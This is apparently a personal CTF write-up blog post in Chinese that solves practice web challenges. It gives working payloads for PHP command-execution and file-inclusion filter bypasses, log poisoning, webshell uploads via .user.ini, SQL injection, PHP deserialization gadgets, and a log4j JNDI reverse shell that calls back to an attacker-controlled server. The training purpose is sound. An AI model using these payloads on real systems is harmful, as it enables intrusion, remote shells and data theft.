命令执行
web30
1 |
|
发现29的Payload也可以用,但是法二的解法需要变动一下,因为过滤了php,所以无法新启一个Php代码块儿
1 | ?c=echo "";include($_GET['shell']);?>&shell=php://filter/read=convert.base64-encode/resource=flag.php |
闭合echo ‘’;后添加include文件包含,使用伪协议读取
web31
1 |
|
可以看出多过滤了cat
,shell
,\'
和空格等符号,所以上述解法1是不能使用了,对法二进行构造
法一
echo%09"";include($_GET["cmd"]);?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
注意:上述空格使用%09编码绕过,且单引号全部换成双引号。
法二
空格绕过
1 | > < <> 重定向符 |
文件内容显示
1 | more:一页一页的显示档案内容 |
闭合c的绕过限制
payload:
1 | ?c=eval($_GET["cmd"]);&cmd=system("tac f*"); |
web32
1 |
|
过滤更多了,括号和echo
还有分号都给过滤了,考虑如下进行绕过括号
同时注意,==php代码的最后一句是可以不带分号的!==
且实际测试中发现对%09的过滤更加严格了,参考php语言,换用%0a(==换行符==)进行绕过空格
法一
1 | ?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php |
尝试一下用Post传参
一样可以
web33、34、35、36
均可用,其中36过滤数字,可替换成不加引号的字符,因为php向下兼容,这种写法被保留下来
web37
1 |
|
文件包含了,但过滤了get传参的flag字符,如果直接使用filter的伪协议的话,会因为包含flag.php而无法成功,所以转而考虑data伪协议
php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:
1 | data://text/plain;base64,xxxx(base64编码后的数据) |
payload:
1 | ?c=data://text/plain,<?php system("tac f*");?> |
shell通配符绕过flag,tac反序输出内容,方便起见直接传了php代码
web38
多过滤了一个php的字符,上述方法仍适用,将后续的php代码使用base64编码进行绕过即可
payload1:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==
使用短标签绕过
payload2:
?c=data://text/plain,<?=system("tac f*");?>
web39
1 |
|
会强制将传参内容加上.php的后缀,但是如果我们输入测试
?c=data://text/plain,<?=phpinfo();?>
发现会有回显并且最后会输出1.php
,因为执行了前部分Php代码成功,返回值为1,因此加上了1.php,解法同上即可
web40
1 |
|
官方Hint_1
show_source(next(array_reverse(scandir(pos(localeconv())))));
官方Hint_2
还可以通过
?c=session_start();system(session_id());
并将PHPSESSID传入命令进行命令执行,可以发现有返回目录
但是似乎无法获取flag的内容
法一
思路:
首先试着打印一下当前能够使用的所有变量
?c=print_r(get_defined_vars())
我们发现,所有变量都是数据结构同时POST还暂时为空,我们考虑传入一个POST参数,其值为phpinfo,并弹出这个数据的内容进行命令执行
payload:?c=eval(array_pop(next(get_defined_vars())));
POST:1=phpinfo();
接下来改变1的赋值即可读出flag
法二
scandir(current(localeconv())) 查看当前目录所有文件名
我们可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,即可成功读取flag.php文件
payload:?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));
web42
1 |
|
可以看到,并没有过滤掉%、|
等符号,因此,首先是通过或运算,拼凑出所有可用 的命令,同时通过Php语言的一些风格,如("system")("ls")
也能够执行,来绕过空格的限制
如图
POST传参,c为两个按位取或运算,羽师傅脚本如下
1 | # -*- coding: utf-8 -*- |
web42
简单的截断 >/dev/null 2>&1
该命令会将所有结果扔到null里,即不回显
payload:?c=tac fla*.php;ls
web43
过滤了分号,可以用url编码&&
代替分号的功能
两个语句都执行,只不过第二个返回入Null里了,后面也可以使用%0a
换行符使得语句入第二行无效
1 | more:一页一页的显示档案内容 |
web44,45,46,47
待续……
文件包含
web78
php://filter/convert.base64-encode/source=flag.php
伪协议
web79
本意是想通过
?file=data://test/plain;base64,xxxx
直接读取,但是发现,这里好像还是会被过滤检测,不能理解,已解决,原因是并未在前台显示,右键查看源码即可出来
只能使用官方的绕过
payload:?file=data://text/plain,<?=eval($_POST[1]);?>
web80
1 |
|
多过滤了data字符,所以data协议被ban了
查看一下中间件
nginx,很常见,可以考虑一波日志包含,一定一定要注意,日志包含尽量一次成功避免污染环境,将User-Agent的value写成POST一句话进行访问nginx的默认日志文件
nginx日志文件默认路径:/var/log/nginx/access.log
可以看到命令执行了
接下来直接读flag
这里面,它把flag.php改了个名。。。所以直接用f???.php
通配符绕过输出了
文件上传
web151
基础的绕过前端验证
观察脚本发现
在前端验证仅允许上传.png
文件,且上传成功会返回路径,这里直接写入POST方式的一句话,更改后缀为.png绕过前端验证,再使用burp抓包将文件更改回.php,最后webshell连接即可。==蚁剑最好使用post方式写一句话==
有趣的是/tmp/html/flag.php
里是一个假的flag
真flag在/var/www/html/flag.php
中
web152
方式同上
不过也可以先上传php文件抓包修改content-type:image/png
web153
同样盲测了一堆发现都被限制了
==.PhP==大小写可绕过上传但是不解析
参考了羽师傅的博客内容,了解了一波php的.user.ini
特性
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。
那么我们就去找我们需要用到配置
发现auto_append_file和auto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。
注意:==此方法仅适用于当前页面有php时==
对于此题,因为访问/upload页面出现了文字,所以可以判断这里有Index.php文件,所以用此方法即每个php文末都加上了一个文件包含
首先我们新建一个user.ini
文件,里面写入auto_append_file=shell.txt
后续抓包将user.ini
更改为.user.ini
,先进行上传,直接修改前端验证代码上传(这里因为脚本未限制)所以可以直接上传
修改为以上内容,再抓包更改Content-Type内容为 image/png
使其成功上传,.user.ini
会返回上传路径
再写入一个shell.txt的一句话进行上传
访问/upload(相当于访问/upload/index.php,且此php文件包含了一个shell.txt),传一个post参数即可发现RCE了
payload:1=system("cat ../fl*");
再右键查看源码==注意得先回到上级目录==
payload:1=system("tac ../fl*");
直接输出到当前页面
web154、155
过滤<xphp的特定标签
尝试使用短标签绕过
对于php的标签其他写法,介绍几种
1、
1 | echo '123'; |
前提是开启配置参数short_open_tags=on
2、
1 | echo (表达式) (表达式) 等价于 |
不需要开启参数设置
3、
1 | <% echo '123';%> |
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、
1 | <script language=”php”>echo '123'; </script> |
不需要修改参数开关,但是只能在7.0以下可用。
Web(非入门)
To myself:
保研结束,寒假期间,努力复检&提升
web2
一个sql注入,F12页面无任何信息
懒人思路:bp保存请求头为web.txt文件,使用sqlmap一把梭
1 | sqlmap -r web2.txt --dbs |
==注意==:新版sqlmap只需要sqlmap + [options]即可
手注:
可以看到,基本是完全没有进行过滤,使用admin账号登录成功,基本确定存在sql注入点
接下来就是看回显字段
1 | admin' union select 1,2,3# |
可以发现,当测试到3个的时候会有回显,在第二个字段有回显
构造查询,列出所有表
1 | admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# |
再查询字段
1 | 1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=`flag`# |
最后出结果
1 | 1' union select 1,flag,3 from flag# |
web3
include文件包含,基本就确定用php伪协议,php://flitter可以读取文件,但是目前我们不知道有什么文件。参考php://input这个协议,构造get传参的url,再用bp添加POST内容,为PHP代码
1 | system("ls"); |
可以看到有两个文件:ctf_go_go_go
和index.php
接下来用flitter读也可,用input继续post读也行
1 | http://31fc5775-0fb5-402f-82be-f3609ca88617.challenge.ctf.show/?url=php://filter/read=convert.base64-encode/resource=ctf_go_go_go |
web4
页面和web3一样,但是推测对url参数做了过滤,ban了php字符
当传入就会发现返回error,因此所有伪协议都无法使用,转变思路,因为include会文件包含,所以自然想到另一个思路,日志传马,查看其web中间件和系统组件可以看到,操作系统是Ubuntu
nginx的日志文件路径为
/var/log/nginx/
,其中包括access.log和error.log
将UA写入一句话木马传入
1 | eval($_POST['cmd']); @ |
接下来再用蚁剑或者其他连接工具连接即可,连接地址为http://314901b1-452b-4957-8e75-62121eba06cf.challenge.ctf.show/?url=/var/log/nginx/access.log
web5
检测两个GET参数,当v1输入为字母,v2输入为数字,他俩的MD5值一样,才会输出flag
简单的php弱类型,0e开头的数字会被认为是科学计数法,所以构造payload即可
1 | http://74582c38-b2bd-435a-a0e5-d74f2c088a61.challenge.ctf.show/?v1=QNKCDZO&v2=240610708 |
存几个弱类型,详细见此文章链接地址
1 | v2=240610708&v1=EEIZDOI |
web6
sql注入,但是ban了空格,换成/**/
即可
1 | admin' or 1=1# //报错了 |
web7
输入id=-1无返回,输入id=-1||-1有返回,可以确定这是一个整形注入,区别于字符注入
所以我们需要一位一位的比较,判断有无返回来确定,即盲注,利用脚本如下
1 | import requests |
web8
同上题目环境以及思路,不同的是ban了,
号,相应修改为
1 | u= "||/**/ascii(substr(database()/**/,/**/{0}/**/,/**/1))={1}".format(i,j) |
该句修改为
1 | u= "||/**/ascii(substr(database()/**/from/**/{0}/**/for/**/1))={1}".format(i,j) |
web9
还是一个登录页面,但是试了一下常规sql注入,没有回显,F12源码也没有任何信息,所以回到最初信息收集阶段,使用御剑和dirsearch扫描后台,可以发现一个robots.txt
的配置文件
1 | dirsearch -u xxx -e* |
访问发现,其存在index.phps
文件,可以下载
打开后可以发现其对应的sql查询语句
要求我们输入的密码长度不能超过10,再然后需要构造闭合,即".md5($password,true)."
需要生成
'or'xxx
的形式,才能构造闭合查询这个sql语句
对于函数md5(string,raw)
第二个参数有以下可选项:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
所以只要md5加密后的16进制转化为二进制时有 ‘or’xxxx,即可构成闭合语句: username =’admin’ and password =‘ ’or ‘xxxxx’ 成功登陆
符合条件的有两个字符串,因长度限制输入第一个
1 | ffifdyop |
web10
同登录框页面,同index.phps文件,里面的内容如上
ban了一堆语句,同时因为后面检测替换前后字符长度,所以无法双写绕过。不会做,参考羽神的博客
绝了,给跪了,鬼才
①group by(将结果集中的数据行根据选择列的值进行逻辑分组)
不加group by时的输出如下:
在使用group by以后会按照password中的值进行排列:
②with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:
结果中将会多出一行,其中password列为null,count(*)为统计和。
这里我们就可以通过骚姿势绕过了。
其中/**/
是为了绕过空格过滤payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row[‘password’]的限制成功登陆。
另一种payload:'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#
web12
可以看到有个hit,提示get传参cmd,当输入?cmd=phpinfo();
发现可以直接rce,那接下来就是利用cmd参数进行探索。使用print_r();
函数将结果显示出来,再用glob函数进行搜索
1 | php的函数glob();glob()函数返回匹配指定模式的文件名或目录 |
再用highlight_file();
函数将文件高亮显示
payload:?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
web13
该题明显为文件上传,测试后发现php后缀无法上传,大文本量的内容也会error,测试为空文本时可以成功上传,发现upload.php.bak文件可下载
文件内容不能大于24字节,文件名不能超过9字符,且不能出现php后缀
这里1.txt中写入一句话木马(不能是最短马<?=`$_GET[1]`;),我们用短标签构造
补充,一句话马
<?=eval($_POST["a"]);
,上传成功,但是其不是php,无法被解析成命令,接下来上传.user.ini
文件(==以前写过这个知识点!==)需要开启一个配置,其中内嵌auto_prepend_file =1.txt
,将会在所有的文件中都加入1.txt的内容,这是便可以rce了,连接蚁剑发现测试连接正常但是无法查看文件,所以使用老方法
1 | a=print_r(glob("*")); |
1 | a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); |
web14
1 |
|
读代码,get传参555555确实能出,但是要等这么多秒,显然这里传?c=3这样不会break,而是执行下两个case,即可出$url
访问页面,发现又是个sql注入
该过滤可以通过反引号绕过
1 | b51e6ea0-6193-4ecf-adc6-da0908921950.challenge.ctf.show/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database() |
注意query需要先索引错误,即-1,后面联合查询才能显示,下为表名
1 | http://b51e6ea0-6193-4ecf-adc6-da0908921950.challenge.ctf.show/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name=%27content%27 |
1 | http://b51e6ea0-6193-4ecf-adc6-da0908921950.challenge.ctf.show/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content |
没有,tnnd,在一开始的文件包含中的secret.php
中,这里使用mysql的file_load()函数调用本地文件(==md这个路径不对的话没有回显,必须是/var/www/html/secret.php==)
1 | http://b51e6ea0-6193-4ecf-adc6-da0908921950.challenge.ctf.show/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/load_file(%27/var/www/html/secret.php%27) |
1 | http://b51e6ea0-6193-4ecf-adc6-da0908921950.challenge.ctf.show/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/load_file(%27/real_flag_is_here%27) |
那直接调出real_flag_is_here.php即可
反序列化
web254
1 |
|
这个源码读的,好像直接传参就行了啊,也没有啥反序列化
http://c0af7103-46c3-40ab-978e-c32c02f0d1dd.challenge.ctf.show/?username=xxxxxx&password=xxxxxx
直接就出了
web255
该题与上题区别仅仅在于
1 |
|
ctfShowUser类中,login函数登陆上去后,并不会修改$isVip,因此我们需要在后面的反序列化中,使用Cookie将user上序列化后的类,并在类中修改$isVip=True
1 |
|
运行得到O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
正常get传参?username=xxxxxx&password=xxxxxx
,然后构造Cookie传入user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
1 | public function vipOneKeyGetFlag(){ |
没意思,修改了一个判断,必须要求username!==password才能获得flag,重新生成反序列化即可
web257
同样是简单的反序列化,通过创建类时候的魔术方法控制函数流,劫持到backDoor()中,进行命令执行
1 |
|
分析代码,我们只需要在__construct()函数中,控制生成的类为backDoor,这样在销毁类的时候执行__destruct()函数时候,就会调用backDoor::getInfo(),然后将backDoor的$code改成我们的命令即可
1 |
|
payload:http://50208168-eb9f-4234-81f7-6bf2ca619336.challenge.ctf.show/?username=1&password=2
同时修改Cookie为user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A1%3A%221%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A1%3A%222%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A19%3A%22system%28%27tac+fla%2A%27%29%3B%22%3B%7D%7D
需要注意的是,这里需要用tac命令显示flag
1 |
|
web258
1 |
|
加了个正则过滤,并且把私有变量变成了public,(md改了好久的反序列化就是没法RCE,一看是public)
基本换汤不换药,注意正则匹配[oc]:\d+对于该结构的字符会做检测(不区分大小写),因此系列化后会检测到O:8:backDoor这种。查询资料发现绕过方式为==数字前加上+号进行绕过==
1 | <?php |
payload同上一题,换汤不换药。
XCTF-Web_php_unserialize
1 |
|
同上一题,绕一个简单的正则匹配,绕一个__wakeup()的魔术方法。
1 |
|
第一个用+号绕过匹配O:4
,后面一个当序列化中的属性数大于实际的属性数时,则可跳过wakeup魔法函数执行
因为该对象只有一个真实属性file而且是private修饰的,因此我们将属性数改为2或者任何大于1的数即可
绕过__wakeup
XCTF-Web-Cat
这题没质量,不好
直接放链接,本质上是一个ping,但是所有linux符号都被ban了,测试url输入发现%80(ASCII0-127)以上报错出信息,python,Django框架,直接放wp链接了WP
大赛真题
web680
这里避个坑,bp传POST参数时候需要注意
- GET和POST同时存在时候,开头用POST
- 增加一行参数
Content-Type: application/x-www-form-urlencoded
- 结尾空一行再写POST参数以及内容
对于该题,页面仅仅提示post code to run
,构造POST传参code=phpinfo();
,发现有回显,那直接命令执行呗
1 | code=print_r(glob("*")); |
发现一个文件
1 | code=highlight_file("secret_you_never_know"); |
额,直接就出了。那换一种姿势,列举文件如果ban了glob()函数,还可以这么用
1 | code=var_dump(scandir(".")); |
web681
蛮好玩的,会出来一个查询页面
开始盲测了几个,发现过长会被ban,且检测select关键字,猜想要构造才能绕过,但是需要我们知道对应的查询语句,页面中没有备份文件和源码泄露,但是bp抓包发送会返回其对应的语句
因为其过滤单引号,所以使用反斜杠将第一段和第二段第一个引号闭合,其实payload:||1#\
等价于
where username = ‘xxxxxx’||1#
即可绕过
badhack
baby杯-baby_php
1 |
|
分析代码,用到了弱比较,当a=0
的时候,会发现既能进入第一个case,也能进入第二个case
上面的类过滤php字符,file_put_contents函数会传入name和content两个POST参数
payload:
1 | http://9532f966-c047-4cc8-9ab0-89e24c006b5e.challenge.ctf.show/?a=0 |
一级一级ls查询,确定flag路径
http://9532f966-c047-4cc8-9ab0-89e24c006b5e.challenge.ctf.show/?1=cat ../../../flag_baby_here_you_are
七夕杯-repairman
这题还蛮不错的,访问默认进入?mode=1的页面,接下来顺手试mode=0会有源码
1 |
|
这里有个很奇怪的点,现在不奇怪了,empty()判断,因为mode=0,所以他会返回True,所以会一直进入那个判断,使用$_SERVER['REQUEST_URI']$
获得url的请求给后面的参数赋值。再看后一句关键代码parse_str($url['query']);
该函数可以实现变量覆盖。按照我的理解其实就是通过GET方式给变量进行赋值
继续读代码
1 | if($secret === md5('token')){ |
这一段代码可以不看跳过,不进入这个分支,直接进switch,进admin的分支,然后执行cmd的exec,无回显操作,所以只需要构造合适的变量,使得
1 | switch ($secret){ |
走第一个分支,即构造
secret=md5(adminfuck)&config[secret]=fuck
就能进cmd()函数,然后接收POST传参cmd
全部payload:http://127.0.0.1/index.php?mode=0&secret=307686a811aa4a924266ab5772513d58&config[secret]=fuck
POST:cmd=cat config.php > 1.txt
补:==exec()无回显判断命令执行:cmd=ls | sleep 5
==
ICS-07
从页面的提示,在/view-source.php
中可以观察到源码
1 | <!DOCTYPE html> |
根据源码意思,我们先绕过if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')
这句话,获得admin的session,获得之后会有一个上传文件的能力,但是需要绕过正则匹配,那么有想法了,先绕过第一个。
跟简单就能够造出符合要求的字符,如1*9
等等
Include2
?file=flag.php
后,提示我们存在upload.php
页面,那么我们打开,是一个上传图片的页面,观察分析源码,显然传图片马
这里还有一个坑,这里会匹配<?php>
等字符替换成_
导致php解析失败
所以我们换一种写马方式
1 | <script language=php> |
图片后缀仍写为.jpg
,因为这个过滤是在后端,前端修改回.php仍无法上传。上传成功后回回显路径
==注意!!!==
这里我们使用file=的形式去访问储存文件夹!不然无法正常连接蚁剑,如下访问
http://114.67.246.176:15029/index.php?file=upload/202110200407109163.jpg
如图,连接上后显示其文件层级,最后在根目录下发现flag
login2
对于一个前端的登录页面,我们显然先抓包分析一下
response中有一个tip密文,base64解码后是
1 | $sql="SELECT username,password FROM admin WHERE username='".$username."'"; |
意思是让我们传入一个非空的password且内容等于其对应的md5值。
先待定,对于登录框肯定要上sqlmap看看有无回显
sqlmap -r login2.txt --dbs
可以发现,其username
参数存在时间盲注
一段时间等待后回发现结果
看库名猜测关键信息大概率在bugkuctf中,接下来查询表名,列名和内容,最后输出username和password两列的内容
sqlmap -r login2.txt -D bugkuctf -T admin -C password,username --dump --level 5 --time-sec=1
这里补充一个sqlmap详细使用教程
然而爆出来的结果为空,也就是说sqlmap思路断了,但我们也知道了它的字段不超过三个。那就思考提示,构造union查询
admin'union select 1,'21232f297a57a5a743894a0e4a801fc3'#&password=admin
注意转换后的21232f297a57a5a743894a0e4a801fc3
为admin(密码)的md5,且用单引号括起来。发送报文后即可显示成功登录
进入后有一个监控系统,猜测其可以执行Linux指令,输入ls查看回显发现其将输入的指令转换为grep后参数进行查询
参考了大佬的思路后才理解,可以使用二次写入,即使用1|cat /flag > test
这会将根目录下的flag的内容写入新的当前路径中的/test页面下,之后只需要访问
http://xxx.xxx.xxx.xxx/test
即可得到对应的内容
当然还可以有其他思路
- 公网Ip反弹shell
- 时间盲注跑脚本
log4j
一个公开的靶场,打开页面,在输入框中存在log4j漏洞
采用另一种弹shell方式,首先编写一段java代码
1 | public class Exploit { |
javac Exploit.java
编译,会在同目录下生成Exploit.class文件,将这俩上传至服务器,python开启80页面
python -m http.server 80
服务器上启动java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-ip/#Exploit"
再监听6666端口,nc -lvnp 6666
报错!
首先,第一个小坑,云服务器需要防火墙放行一些端口和协议
其次,这里有个巨坑!麻了,链接,简单来说,高版本的jdk会对ldap进行限制!导致执行JNDIExploit会报错,这里卡了个极限,吧原来的jdk21改为了jdk8u181
修改完后使用正常的payload就会发现正常
${jndi:ldap://vps的IP:1389/Basic/Command/whoami}
现在尝试弹shell,${jndi:ldap://vps的IP:1389/Basic/ReverseShell/vps的IP/6666}
nc -lvnp 666
监听的结果如图
爽!完美解决!
- 本文作者: Isabella
- 本文链接: https://username.github.io/2023/11/22/CTF-web-2/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!